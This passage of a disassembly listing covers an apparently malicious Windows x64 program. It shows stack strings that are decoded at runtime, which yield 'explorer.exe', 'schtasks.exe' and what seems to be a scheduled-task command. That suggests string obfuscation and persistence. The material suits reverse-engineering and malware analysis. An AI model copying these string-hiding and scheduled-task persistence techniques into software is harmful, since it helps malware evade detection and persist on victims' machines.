mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x14000335d
mov byte [0x14059351a], 0
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x2130]
lea rsi, [rsp + 0x14d0]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
lea r9, [0x140593420]
mov ecx, 1
call fcn.140004b1a
lea rcx, [rsp + 0x16e0]
mov rdx, rsi
call sub.msvcrt.dll__wcsicmp
test eax, eax
je 0x14000286c
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0x16e0]
call fcn.140004fd7
mov rdx, rax
lea rcx, [rsp + 0x14d0]
mov r8d, dword [rsp + 0x5c]
call fcn.14000511c
cmp byte [0x140593340], 0
je 0x1400034b5
cmp byte [0x14059334e], 0
je 0x14000344c
movzx eax, word [0x140593348]
sub ax, 0x7003
and ax, 0xff
mov word [0x140593348], ax
movzx eax, word [0x14059334a]
sub ax, 0x7003
and ax, 0xff
mov word [0x14059334a], ax
movzx eax, word [0x14059334c]
sub ax, 0x7003
and ax, 0xff
mov word [0x14059334c], ax
mov byte [0x14059334e], 0
lea r8, [rsp + 0x14d0]
lea rdx, [rsp + 0x2130]
mov qword [rsp + 0x20], r8
lea r9, [0x140593348]
mov ecx, 0
call fcn.140004b1a
jmp 0x1400031f9
mov byte [0x1405933fc], 1
mov eax, 0
lea rcx, [0x1405933e0]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x14000348a
mov byte [0x1405933d0], 1
lea rcx, [0x14000168a]
call fcn.1400014f0
jmp 0x140003734
mov byte [0x14059334e], 1
mov word [0x140593348], 0x28
mov word [0x14059334a], 0x56
mov word [0x14059334c], 3
mov byte [0x140593340], 1
lea rcx, [0x1400016be]
call fcn.1400014f0
jmp 0x1400033fa
lea rcx, [rsp + 0x160]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0x3d
mov word [rsp + 0x62], 0x46
mov word [rsp + 0x64], 0x59
mov word [rsp + 0x66], 0x51
mov word [rsp + 0x68], 0x4d
mov word [rsp + 0x6a], 0x50
mov word [rsp + 0x6c], 0x53
mov word [rsp + 0x6e], 0x46
mov word [rsp + 0x70], 0x53
mov word [rsp + 0x72], 0xf
mov word [rsp + 0x74], 0x46
mov word [rsp + 0x76], 0x59
mov word [rsp + 0x78], 0x46
mov word [rsp + 0x7a], 0xe1
cmp byte [0x140592048], 0
jne 0x1400035ab
mov byte [0x14059206c], 1
mov eax, 0
lea rcx, [0x140592050]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140003585
mov byte [0x140592048], 1
lea rcx, [0x14000177a]
call fcn.1400014f0
cmp byte [0x14059206c], 0
je 0x1400035dd
lea rdx, [0x140592050]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x38e1
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x1400035bf
mov byte [0x14059206c], 0
lea rdx, [0x140593200]
lea rcx, [0x140592050]
call sub.msvcrt.dll__wcsicmp
lea rdx, [rsp + 0x2130]
test eax, eax
jne 0x140003604
lea rdx, [rsp + 0x2340]
lea rcx, [rsp + 0x160]
lea r8, [0x140593200]
call fcn.140004370
test ebx, ebx
jne 0x140003676
movsxd r9, dword [0x140592044]
lea r8, [0x140592040]
lea rcx, [rsp + 0x18f0]
mov dword [rsp + 0x40], 1
lea rax, [0x1405920a0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2130]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
lea rdx, [0x140593220]
call fcn.140001794
jmp 0x1400031f9
movsxd r9, dword [0x140588120]
lea r8, [0x140040720]
jmp 0x14000362a
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0x16e0]
call fcn.140004fd7
mov rdx, rax
lea rcx, [rsp + 0x14d0]
mov r8d, dword [rsp + 0x5c]
call fcn.14000511c
lea rcx, [rsp + 0x160]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xb1
mov word [rsp + 0x62], 0xc8
mov word [rsp + 0x64], 0xb8
mov word [rsp + 0x66], 0xbd
mov word [rsp + 0x68], 0xc9
mov word [rsp + 0x6a], 0xb6
mov word [rsp + 0x6c], 0xc8
mov word [rsp + 0x6e], 0xc0
mov word [rsp + 0x70], 0xc8
mov word [rsp + 0x72], 0x83
mov word [rsp + 0x74], 0xba
mov word [rsp + 0x76], 0xcd
mov word [rsp + 0x78], 0xba
mov word [rsp + 0x7a], 0x55
cmp byte [0x1405933d0], 0
je 0x140003477
cmp byte [0x1405933fc], 0
je 0x140003766
lea rdx, [0x1405933e0]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x3855
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003748
mov byte [0x1405933fc], 0
lea rdx, [rsp + 0x2130]
lea rcx, [rsp + 0x160]
lea r8, [0x1405933e0]
call fcn.140004370
mov word [rsp + 0x60], 0x76
mov word [rsp + 0x62], 0xa4
mov word [rsp + 0x64], 0x71
mov word [rsp + 0x66], pe_nt_image_headers64
mov word [rsp + 0x68], 0xc3
mov word [rsp + 0x6a], 0xc6
mov word [rsp + 0x6c], 0xbf
mov word [rsp + 0x6e], 0x71
mov word [rsp + 0x70], pe_nt_image_headers64
mov word [rsp + 0x72], 0xc5
mov word [rsp + 0x74], 0xbf
mov word [rsp + 0x76], 0x71
mov word [rsp + 0x78], 0x73
mov word [rsp + 0x7a], 0x9e
mov word [rsp + 0x7c], 0xba
mov word [rsp + 0x7e], 0xb4
mov word [rsp + 0x80], 0xc3
mov word [rsp + 0x82], 0xc0
mov word [rsp + 0x84], 0xc4
mov word [rsp + 0x86], 0xc0
mov word [rsp + 0x88], 0xb7
mov word [rsp + 0x8a], 0xc5
mov word [rsp + 0x8c], 0xa4
mov word [rsp + 0x8e], 0xb6
mov word [rsp + 0x90], 0xb4
mov word [rsp + 0x92], 0xc6
mov word [rsp + 0x94], 0xc3
mov word [rsp + 0x96], 0xba
mov word [rsp + 0x98], 0xc5
mov word [rsp + 0x9a], 0xca
mov word [rsp + 0x9c], 0xa6
mov word [rsp + 0x9e], 0xc1
mov word [rsp + 0xa0], 0xb5
mov word [rsp + 0xa2], 0xb2
mov word [rsp + 0xa4], 0xc5
mov word [rsp + 0xa6], 0xb6
mov word [rsp + 0xa8], 0xa5
mov word [rsp + 0xaa], 0xb2
mov word [rsp + 0xac], 0xc4
mov word [rsp + 0xae], 0xbc
mov word [rsp + 0xb0], 0x9e
mov word [rsp + 0xb2], 0xb2
mov word [rsp + 0xb4], 0xb4
mov word [rsp + 0xb6], 0xb9
mov word [rsp + 0xb8], 0xba
mov word [rsp + 0xba], 0xbf
mov word [rsp + 0xbc], 0xb6
mov word [rsp + 0xbe], 0x94
mov word [rsp + 0xc0], 0xc0
mov word [rsp + 0xc2], 0xc3
mov word [rsp + 0xc4], 0xb6
mov word [rsp + 0xc6], 0x73
mov word [rsp + 0xc8], 0x51
cmp byte [0x140593350], 0
jne 0x1400039a6
mov byte [0x1405933ca], 1
mov eax, 0
lea rcx, [0x140593360]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x35
jne 0x140003980
mov byte [0x140593350], 1
lea rcx, [0x1400016a4]
call fcn.1400014f0
cmp byte [0x1405933ca], 0
je 0x1400039d8
lea rdx, [0x140593360]
lea rcx, [rdx + 0x6a]
movzx eax, word [rdx]
sub ax, 0xa51
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x1400039ba
mov byte [0x1405933ca], 0
lea r8, [rsp + 0x160]
lea rdx, [rsp + 0x2130]
mov qword [rsp + 0x20], r8
lea r9, [0x140593360]
mov ecx, 0
call fcn.140004b1a
jmp 0x1400031f9